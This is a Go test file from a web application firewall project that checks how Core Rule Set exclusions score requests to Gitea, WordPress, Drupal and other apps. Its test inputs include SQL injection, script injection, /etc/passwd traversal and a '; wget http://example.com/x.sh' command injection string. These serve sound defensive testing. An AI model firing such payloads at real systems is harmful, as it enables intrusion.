Files
smallwebwaf/internal/coreruleset/coreruleset_test.go
T
sneak 7f8a59de04
check / check (push) Waiting to run
Format Go with gofmt, then golines -m 77 (closes #215)
script/fmt now runs golines -m 77 after gofmt, repeating golines until
it changes nothing, since one pass can leave a line the next splits.
script/fmt-check fails when either would change a file.
script/bootstrap installs golines v0.13.0 with go install, pinned to
its commit, and checks the installed version with go version -m.

The tree is reformatted. The longer lines this makes are fixed by
hand: nolint directives moved onto their own line above the statement,
one string split, and 20 functions over funlen's 80 lines shortened or
split, RunWAF and limitPercentages among them.

Model: opus-5-5
2026-11-11 15:14:58 +00:00

2557 lines
70 KiB
Go

package coreruleset_test
import (
"context"
"encoding/json"
"fmt"
"math/rand/v2"
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"os"
"path/filepath"
"reflect"
"slices"
"strconv"
"strings"
"sync"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{
920340,
920420,
920440,
920640,
930130,
930140,
}
// loaded holds, for each set of settings the tests have asked for, the
// function that loads the Core Rule Set with them once.
//
//nolint:gochecknoglobals // the tests share it
var loaded = struct {
sync.Mutex
loaders map[string]func() (*coreruleset.CoreRuleSet, error)
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for.
func loaderFor(
params coreruleset.Params,
) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock()
defer loaded.Unlock()
settings := fmt.Sprintf("%+v", params)
load, found := loaded.loaders[settings]
if !found {
load = sync.OnceValues(func() (*coreruleset.CoreRuleSet, error) {
return coreruleset.New(params)
})
loaded.loaders[settings] = load
}
return load
}
// shared returns the Core Rule Set with params, loaded once for every
// test that asks for the same settings.
func shared(
t *testing.T,
params coreruleset.Params,
) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := loaderFor(params)()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// sharedCoreRuleSet returns the Core Rule Set at paranoia level level,
// with the rules in disabled switched off. The set is shared with every
// test that asks for the same settings.
func sharedCoreRuleSet(
t *testing.T, level int, disabled ...int,
) *coreruleset.CoreRuleSet {
t.Helper()
return shared(
t,
coreruleset.Params{ParanoiaLevel: level, DisabledRules: disabled},
)
}
// TestConcurrentRequestsKeepTheirOwnExclusions inspects a Drupal and a
// WordPress request at once, many times over, on one Core Rule Set, as
// sww's server does. Each passes only while its own exclusions apply.
func TestConcurrentRequestsKeepTheirOwnExclusions(t *testing.T) {
t.Parallel()
const rounds = 50
crs := atDefaults(t)
targets := []string{
"/admin/people?user=docker-compose.yml&status=All&role=All&permission=All",
"/wp-admin/edit-tags.php?taxonomy=post_tag&post_type=post&s=python3",
}
var inspecting sync.WaitGroup
for range rounds {
for _, target := range targets {
inspecting.Go(func() {
req := httptest.NewRequestWithContext(
t.Context(),
http.MethodGet,
"http://git.example"+target,
nil,
)
req.Header.Set(
"User-Agent",
"Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0",
)
req.Header.Set("Accept", "text/html")
result, _, err := crs.Inspect(
req,
netip.MustParseAddr("203.0.113.9"),
req.Body,
)
if err != nil ||
!reflect.DeepEqual(result, coreruleset.Result{}) {
t.Errorf("GET %s: %+v, %v", target, result, err)
}
})
}
}
inspecting.Wait()
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(
t *testing.T,
crs *coreruleset.CoreRuleSet,
r request,
) coreruleset.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
) (coreruleset.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set(
"User-Agent",
"Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0",
)
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(
req,
netip.MustParseAddr("203.0.113.9"),
req.Body,
)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(
t *testing.T,
crs *coreruleset.CoreRuleSet,
r request,
want coreruleset.Result,
) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf(
"%s %s %q: %+v, want %+v",
r.method,
r.target,
r.headers,
got,
want,
)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) coreruleset.Result {
const critical = 5
return coreruleset.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as sww runs it by default.
func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return sharedCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a request one of the
// fifteen changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
) {
t.Helper()
wantResult(t, crs, passes, coreruleset.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(
t,
crs,
r,
request{http.MethodTrace, r.target, nil},
matched(911100),
)
}
wantChange(
t,
crs,
get("/"),
request{"PROPFIND", "/", nil},
matched(911100),
)
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(
t,
crs,
request{
http.MethodPost,
push,
[]string{pushType, length, "Expect: 100-continue"},
},
coreruleset.Result{},
)
wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
coreruleset.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(
t,
crs,
request{
http.MethodPost,
push,
[]string{pushType, length, header},
},
matched(920450),
)
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(
t,
atDefaults(t),
request{
http.MethodPost,
"/owner/repo.git/git-receive-pack",
[]string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
},
},
coreruleset.Result{},
)
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(
t,
crs,
get("/?"+strings.Repeat("a=1&", 999)+attack),
matched(942100),
)
wantResult(
t,
crs,
get("/?"+strings.Repeat("a=1&", 1000)+attack),
matched(900300),
)
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(
t *testing.T,
) {
t.Parallel()
crs := atDefaults(t)
for _, value := range []struct {
name string
// result is what a parameter that is not one of gitea's gets.
result coreruleset.Result
}{
// A file on the list of system files.
{".gitignore", matched(930120)},
// A command's name, after a directory on the list of shell paths.
{"bin/docker-entrypoint", matched(932260, 932160)},
} {
for _, parameter := range []string{
"path", "files", "skip-to", "sub_path", "ref", "sha", "branch", "workflow",
"artifactName", "redirect_to",
} {
wantChange(t, crs, get("/?"+parameter+"="+value.name),
get("/?q="+value.name), value.result)
}
}
// What only those rules refuse gets through there too, but path
// traversal and SQL injection are still refused.
wantChange(
t,
crs,
get("/?path=|cat%20/etc/passwd"),
get("/?q=|cat%20/etc/passwd"),
matched(930120, 932160),
)
wantResult(t, crs, get("/?path=../../etc/passwd"),
coreruleset.Result{RuleIDs: []int{930100, 930110}, Score: 20})
wantResult(t, crs, get("/?path=1'%20OR%20'1'='1"), matched(942100))
}
func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
wantChange(
t,
crs,
get("/?Path=.gitignore"),
get("/?q=.gitignore"),
matched(930120),
)
wantChange(t, crs, get("/?REDIRECT_URI=http://127.0.0.1:52341/"),
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestFlashAndRedirectToCookiesAreNotRead(t *testing.T) {
t.Parallel()
const (
flash = "success%3DFile%2Bpackage.json%2Bdeleted"
redirectTo = "%2Fowner%2Frepo%2Fsrc%2Fbranch%2Fmain%2Fpackage.json"
)
crs := atDefaults(t)
// flash is Forgejo's name for gitea_flash.
for _, name := range []string{"gitea_flash", "flash"} {
wantChange(t, crs, get("/owner/repo", "Cookie: "+name+"="+flash),
get("/owner/repo", "Cookie: message="+flash), matched(930120))
}
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
// Among other cookies, which are read.
wantChange(
t,
crs,
get(
"/",
"Cookie: lang=en-US; gitea_flash="+flash+"; redirect_to="+redirectTo+
"; i_like_gitea=abc",
),
get(
"/",
"Cookie: lang=en-US; gitea_flash="+flash+"; redirect="+redirectTo+
"; i_like_gitea=abc",
),
matched(930120),
)
}
func TestRefererIsNotCheckedForACommandOrJava(t *testing.T) {
t.Parallel()
const (
search = "https://git.example/explore/repos?q=env"
runtimeJava = "https://git.example/openjdk/jdk/src/branch/master/src/" +
"java.base/share/classes/java/lang/Runtime.java"
stringMD = "https://git.example/owner/repo/src/branch/main/java.lang.String.md"
)
crs := atDefaults(t)
wantChange(
t,
crs,
get("/", "Referer: "+search),
get("/", "User-Agent: "+search),
matched(932340),
)
wantChange(t, crs, get("/", "Referer: "+runtimeJava),
get("/", "X-Page: "+runtimeJava), matched(944110))
wantChange(
t,
crs,
get("/", "Referer: "+stringMD),
get("/", "X-Page: "+stringMD),
matched(944130),
)
// It is still checked for script and SQL injection.
wantResult(
t,
crs,
get(
"/",
"Referer: https://git.example/?q=<script>alert(1)</script>",
),
matched(941110, 941160),
)
wantResult(
t,
crs,
get("/", "Referer: https://git.example/?q=1' OR '1'='1"),
matched(942100),
)
}
func TestEmptyHeaderIsRead(t *testing.T) {
t.Parallel()
// An empty User-Agent is a notice, which adds 2.
wantResult(t, atDefaults(t), get("/", "User-Agent: "),
coreruleset.Result{RuleIDs: []int{920330}, Score: 2})
}
func TestParanoiaLevel(t *testing.T) {
t.Parallel()
// Accept-Charset is refused from paranoia level 2.
r := get("/", "Accept-Charset: utf-8")
wantResult(t, sharedCoreRuleSet(t, 1), r, coreruleset.Result{})
wantResult(t, sharedCoreRuleSet(t, 2), r, matched(920451))
}
func TestEachDisabledRuleIsSwitchedOff(t *testing.T) {
t.Parallel()
// A method not allowed, and a Host that is an IP address, a warning,
// which adds 3.
r := request{http.MethodTrace, "/", []string{"Host: 192.0.2.1"}}
wantResult(t, sharedCoreRuleSet(t, 1), r,
coreruleset.Result{RuleIDs: []int{911100, 920350}, Score: 8})
wantResult(
t,
sharedCoreRuleSet(t, 1, 920350, 911100),
r,
coreruleset.Result{},
)
}
func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
reuse := "?mount=sha256:0000&from=owner/python3-app"
wantChange(
t,
crs,
get("/v2/owner/app/blobs/uploads/"+reuse),
get("/upload/"+reuse),
matched(932260),
)
// A command after the image's name is still refused.
wantResult(t, crs,
get("/v2/owner/app/blobs/uploads/?from=owner/app;cat%20/etc/passwd"),
matched(930120, 932160))
}
// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
return coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, ExclusionsFile: path,
})
}
// exclusionsFile writes text to a file of exclusions and returns its path.
func exclusionsFile(t *testing.T, text string) string {
t.Helper()
path := filepath.Join(t.TempDir(), "exclusions.conf")
err := os.WriteFile(path, []byte(text), 0o600)
if err != nil {
t.Fatal(err)
}
return path
}
// backupFileExclusion is an exclusions file that switches 920500, a rule
// of phase 1, off for the path of a backup file under /files/.
const backupFileExclusion = `SecRule REQUEST_FILENAME "@beginsWith /files/" ` +
`"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=920500;REQUEST_FILENAME"` + "\n"
func TestExclusionsFileIsLoadedBeforeTheRules(t *testing.T) {
t.Parallel()
crs, err := withExclusions(exclusionsFile(t, backupFileExclusion))
if err != nil {
t.Fatalf("load the exclusions: %v", err)
}
wantChange(
t,
crs,
get("/files/notes.txt~"),
get("/notes.txt~"),
matched(920500),
)
}
func TestRuleSwitchedOffAndNamedInTheExclusionsFileIsOff(t *testing.T) {
t.Parallel()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: []int{920500},
ExclusionsFile: exclusionsFile(t, backupFileExclusion),
})
if err != nil {
t.Fatalf("load the exclusions: %v", err)
}
wantResult(t, crs, get("/notes.txt~"), coreruleset.Result{})
}
func TestExclusionsFileMayNameAnyNumberInAComment(t *testing.T) {
t.Parallel()
_, err := withExclusions(exclusionsFile(t,
"# 942100: GET /issues/900123\n"+backupFileExclusion))
if err != nil {
t.Errorf("the exclusions did not load: %v", err)
}
}
func TestExclusionsFileThatCannotBeUsedIsAnError(t *testing.T) {
t.Parallel()
missing := filepath.Join(t.TempDir(), "missing.conf")
_, err := withExclusions(missing)
if err == nil {
t.Errorf("%s loaded", missing)
}
for _, tc := range []struct{ text, want string }{
{"SecNoSuchDirective On\n", "unknown directive"},
// sww's own rules may not be switched off or changed, by
// id or in a range, on one line or split over several.
{"SecRuleRemoveById 899999-901000\n", "names 899999-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-901000\"\n",
"names 899999-901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveById=899999-+901000\"\n",
"names 899999-+901000",
},
{
"SecAction \"id:1,phase:1,pass,nolog,ctl:ruleRemoveTargetById=900500;ARGS:from\"\n",
"names 900500",
},
{"SecRuleRemoveById 899000-\\\n 901000\n", "names 899000-901000"},
{
"SecAction \"id:1,phase:1,pass,nolog,\\\n" +
" ctl:ruleRemoveById=9005\\\n 00\"\n",
"names 900500",
},
// The Core Rule Set's rules load after the file.
{"SecRuleRemoveById 942100\n", "SecRuleRemoveById in the exclusions file"},
{
"SecRuleUpdateTargetById 942100 \"!ARGS:id\"\n",
"SecRuleUpdateTargetById in the exclusions file",
},
} {
_, err := withExclusions(exclusionsFile(t, tc.text))
if err == nil || !strings.Contains(err.Error(), tc.want) {
t.Errorf(
"%q gave the error %v, want one with %q",
tc.text,
err,
tc.want,
)
}
}
}
// An SQL injection, a script injection and a shell command after a ";", as
// query values. Every app's tests check that its fields still refuse the
// first two.
const (
sqlInjection = "1'%20OR%20'1'='1"
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
)
// passwordField is the form data field password, ending in "=", in which
// several apps take a password.
const passwordField = "password="
// passwordKey is that field's name, without the "=".
const passwordKey = "password"
// retypeKey is the field in which apps take the same password again.
const retypeKey = "retype"
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
//nolint:gochecknoglobals // a constant cannot be a list
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// randomPassword returns a password of 20 characters, each one of the 95
// printable ASCII characters, space included, drawn from random.
func randomPassword(random *rand.Rand) string {
const length = 20
var printable []byte
for c := byte(' '); c <= '~'; c++ {
printable = append(printable, c)
}
password := make([]byte, length)
for i := range password {
password[i] = printable[random.IntN(len(printable))]
}
return string(password)
}
// rarePasswords are random passwords from randomPasswords' seed, found among
// the first 1,000,000. Each sets off the rule named beside it, which the first
// 2,000 do not set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var rarePasswords = []string{
"x)g|E0f)~.um%00G]<oA", // 920270
"uC?mK\\U2fEbXA}~j7fPb", // 920540
"4;yfIDKZYNtZT)(w-=%@", // 921200
"`sAIfEVdBprjxR$/.?\\d", // 930100
"Unt@1xza,:%j$/..;5y+", // 930110
"VN.CVsu^3vbUS==4Q&Y@", // 930120
"gJ<EcT)jhZ'`GC>cX~hM", // 932125
" /\"j14y[%\\(iM]zmG%=^", // 932130
"\\f*q5v$]$IfS3JoY:*r1", // 932160
"*e#!-z{Jq)Sqwx@k:b:}", // 932230
"pErl>vR[Z7K^<f%_4,WZ", // 932260
"){2P,GU}a3mYvjq^(p1^", // 932280
"xw4UGJk!-8#ZE(`.ij.O", // 932330
" XVw(2mN5R,+%~_f\"n<?", // 933100
"0ZK1D>`RHb+RW${/(z}C", // 933135
"Ep3!qqe 7$RT(_)@SLV6", // 933180
"&:4WomDrn$\"(SE_D);Ja", // 933210
"='nlIgN7ON\\\\mWt=Tr84", // 941120
"P]/C>Ef]F-<sV,&gs.[4", // 941160
"<!--a\"9Ju}r!2=J-kZDd", // 941180
"@`].*EJ?`Cw^8\\orD!(f", // 942151
"StTj*t:IF(Uq_<aG0mya", // 942230
"t,D-oJjnvL Dn!o::Int", // 942320
"Z>\"{Z\\QDwqBQs%v}`nBu", // 942550
"`aV#3${J4,\\h.q' k\\${", // 944150
}
// randomPasswords returns 2,000 random passwords from a fixed seed, then
// rarePasswords.
func randomPasswords() []string {
const count, seed = 2000, 276
//nolint:gosec // a fixed sample
random := rand.New(rand.NewPCG(seed, seed))
passwords := make([]string, count, count+len(rarePasswords))
for i := range passwords {
passwords[i] = randomPassword(random)
}
return append(passwords, rarePasswords...)
}
// passwordBody returns a body of r's type, form data or JSON, that sends
// each of passwords in each of names. In JSON, a dot in a name nests the
// field: pass.0.value is {"pass":{"0":{"value":password}}}, which Coraza
// names as it names the same field sent in an array. Coraza checks each
// value of a field on its own, and keeps every value of a JSON key sent more
// than once.
func passwordBody(
t *testing.T,
r request,
names []string,
passwords ...string,
) string {
t.Helper()
var fields []string
for _, name := range names {
if r.headers[0] != jsonBody {
fields = append(fields, formBody(name, passwords...))
continue
}
keys := strings.Split(name, ".")
for _, password := range passwords {
var value any = password
for i := len(keys) - 1; i > 0; i-- {
value = map[string]any{keys[i]: value}
}
pair, err := json.Marshal(map[string]any{keys[0]: value})
if err != nil {
t.Fatal(err)
}
fields = append(fields, string(pair[1:len(pair)-1]))
}
}
if r.headers[0] != jsonBody {
return strings.Join(fields, "&")
}
return "{" + strings.Join(fields, ",") + "}"
}
// formBody returns a form data body that sends each of values in the field
// name.
func formBody(name string, values ...string) string {
fields := make([]string, len(values))
for i, value := range values {
fields[i] = url.QueryEscape(name) + "=" + url.QueryEscape(value)
}
return strings.Join(fields, "&")
}
// setsOffARule reports whether body, form data sent to / as a browser
// sends it, sets off a rule in crs.
func setsOffARule(crs *coreruleset.CoreRuleSet, body string) bool {
req := httptest.NewRequestWithContext(
context.Background(),
http.MethodPost,
"http://git.example/",
strings.NewReader(body),
)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
req.Header.Set(
"User-Agent",
"Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0",
)
req.Header.Set("Accept", "text/html")
// The body is read from memory, which cannot fail.
result, _, _ := crs.Inspect(
req,
netip.MustParseAddr("203.0.113.9"),
req.Body,
)
return len(result.RuleIDs) > 0
}
// findMisfiringPasswords returns those of randomPasswords that set off a
// rule in the form data field password on /, which no exclusion names, while
// bodies are read. It runs once, for every test that asks. Each body sends
// ten passwords, and a body that sets off a rule is sent again one password
// at a time.
//
//nolint:gochecknoglobals // the tests share it
var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})()
if err != nil {
return nil, err
}
passwords := randomPasswords()
misfires := make([]bool, len(passwords))
var inspecting sync.WaitGroup
for worker := range workers {
inspecting.Go(func() {
for first := worker * perBody; first < len(passwords); first += workers * perBody {
last := min(first+perBody, len(passwords))
if !setsOffARule(
crs,
formBody("password", passwords[first:last]...),
) {
continue
}
for i := first; i < last; i++ {
misfires[i] = setsOffARule(
crs,
formBody("password", passwords[i]),
)
}
}
})
}
inspecting.Wait()
var misfiring []string
for i, password := range passwords {
if misfires[i] {
misfiring = append(misfiring, password)
}
}
return misfiring, nil
})
// misfiringPasswords returns those of randomPasswords that set off a rule in
// a field no exclusion names. The rules that misfire on a password read its
// value, not the name of its field. So the other random passwords set off no
// rule in any field.
func misfiringPasswords(t *testing.T) []string {
t.Helper()
misfiring, err := findMisfiringPasswords()
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
for _, rare := range rarePasswords {
if !slices.Contains(misfiring, rare) {
t.Fatalf(
"%q sets off no rule in a field no exclusion names",
rare,
)
}
}
return misfiring
}
// wantRandomPasswordsPass checks that none of randomPasswords, sent in the
// field name of r's body, is refused while bodies are read. r's Content-Type
// is form data or JSON. Only the passwords misfiringPasswords returns set off
// a rule in some field, so only they are sent, all in one body. If it is
// refused, each is sent again on its own, to name those refused.
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
misfiring := misfiringPasswords(t)
names := []string{name}
body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
return
}
for _, password := range misfiring {
body := passwordBody(t, r, names, password)
if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold {
t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name,
password, got)
}
}
}
// wantPasswordAttacksPass checks that an SQL injection, a path traversal, a
// shell command and a script in an event handler, each sent as the whole
// password in each of the fields names of r's body, pass while bodies are
// read.
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
"<img src=x onerror=x()>",
} {
body := passwordBody(t, r, names, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score >= threshold {
t.Errorf("%s %s %v %q refused: %+v", r.method, r.target, names,
attack, got)
}
}
}
// wantPasswordAttacksRefused checks that a script tag and a javascript: link,
// each sent as the whole password in the field name of r's body, are refused
// while bodies are read.
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
body := passwordBody(t, r, []string{name}, attack)
if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold {
t.Errorf(
"%s %s %s %q let through: %+v",
r.method,
r.target,
name,
attack,
got,
)
}
}
}
// passwordFields names the password fields one form or JSON body sends to
// target. contentType is formData or jsonBody.
type passwordFields struct {
target, contentType string
names []string
}
// wantPasswordFieldsPass checks that the random passwords pass in each field
// of fields, that the attacks that pass in a password pass in all of a
// target's fields sent together, and that a script tag or a javascript: link
// in any one field is still refused. Sending the attacks together keeps the
// test cheap: a body of them is refused if any one field checks them.
func wantPasswordFieldsPass(t *testing.T, fields []passwordFields) {
t.Helper()
for _, sent := range fields {
t.Run(sent.target+" "+sent.contentType, func(t *testing.T) {
t.Parallel()
r := request{
http.MethodPost,
sent.target,
[]string{sent.contentType},
}
wantPasswordAttacksPass(t, r, sent.names...)
for _, name := range sent.names {
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
}
})
}
}
func TestGiteaPasswordsPass(t *testing.T) {
t.Parallel()
// gitea's password fields, each sent to one of the paths that takes it.
fields := []passwordFields{
{"/user/login", formData, []string{passwordKey}},
{"/user/sign_up", formData, []string{passwordKey, retypeKey}},
{"/user/link_account_signin", formData, []string{passwordKey}},
{
"/user/link_account_signup",
formData,
[]string{passwordKey, retypeKey},
},
{"/user/activate", formData, []string{passwordKey}},
{"/user/recover_account", formData, []string{passwordKey}},
{
"/user/settings/change_password",
formData,
[]string{passwordKey, retypeKey},
},
{
"/user/settings/account", formData,
[]string{"old_password", passwordKey, retypeKey},
},
{"/user/settings/account/delete", formData, []string{passwordKey}},
{"/-/admin/users/new", formData, []string{passwordKey}},
{"/-/admin/users/1/edit", formData, []string{passwordKey}},
{"/admin/users/1/edit", formData, []string{passwordKey}},
{"/api/v1/admin/users", jsonBody, []string{passwordKey}},
{"/api/v1/admin/users/alice", jsonBody, []string{passwordKey}},
}
wantPasswordFieldsPass(t, fields)
}
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
// These fields skip the rules only when the query has no field of the
// same name. An SQL injection in the query is refused. MediaWiki's
// password and retype skip them only when authAction names their form,
// so its rows send that before the field.
for _, sent := range []struct{ path, field string }{
{nextcloudSignIn, passwordField},
{mediawikiAPI, passwordField},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, retypeKey + "="},
{mediawikiAccountChange, "authAction=change&" + passwordField},
{mediawikiAccountChange, "authAction=change&" + retypeKey + "="},
{mediawikiSignUp, "authAction=create&" + retypeKey + "="},
{"/wiki/Special:UserLogin", "authAction=login-continue&" + retypeKey + "="},
{"/user/sign_up", passwordField},
{"/user/settings/account", "old_password="},
{wpLogin, "pass1="},
{wpLogin, "post_password="},
{"/wp-admin/profile.php", "pass2="},
{"/wp-json/wp/v2/users", passwordField},
{drupalRegister, "pass%5Bpass1%5D="},
{"/user/1/edit", "current_pass="},
{"/auth/challenge", "form_challenge%5Bcurrent_password%5D="},
{"/login/confirm", passwordField},
{"/settings/personal/changepassword", "newpassword="},
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
{"/admin", "token="},
} {
r := request{
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field+"example")
if got.Score < threshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
// The password exclusions apply in front of every app. So each field keeps
// every rule on a nearby path that its exclusion does not name.
func TestPasswordExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := readingBodies(t)
for _, sent := range []struct{ target, contentType, name string }{
{"/user/settings/profile", formData, passwordKey},
{"/api/v1/user/repos", jsonBody, passwordKey},
{"/admin/users/overview", formData, "token"},
{"/wp-admin/options.php", formData, "pass1"},
{"/wp-admin/post.php", formData, "post_password"},
{"/user/password", formData, "pass[pass1]"},
{"/settings/apps", formData, passwordKey},
{"/ocs/v2.php/apps/spreed/api/v4/room", jsonBody, passwordKey},
{"/settings/profile", formData, "form_challenge[current_password]"},
} {
r := request{
http.MethodPost,
sent.target,
[]string{sent.contentType},
}
body := passwordBody(t, r, []string{sent.name}, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
t.Errorf(
"POST %s %s let through: %+v",
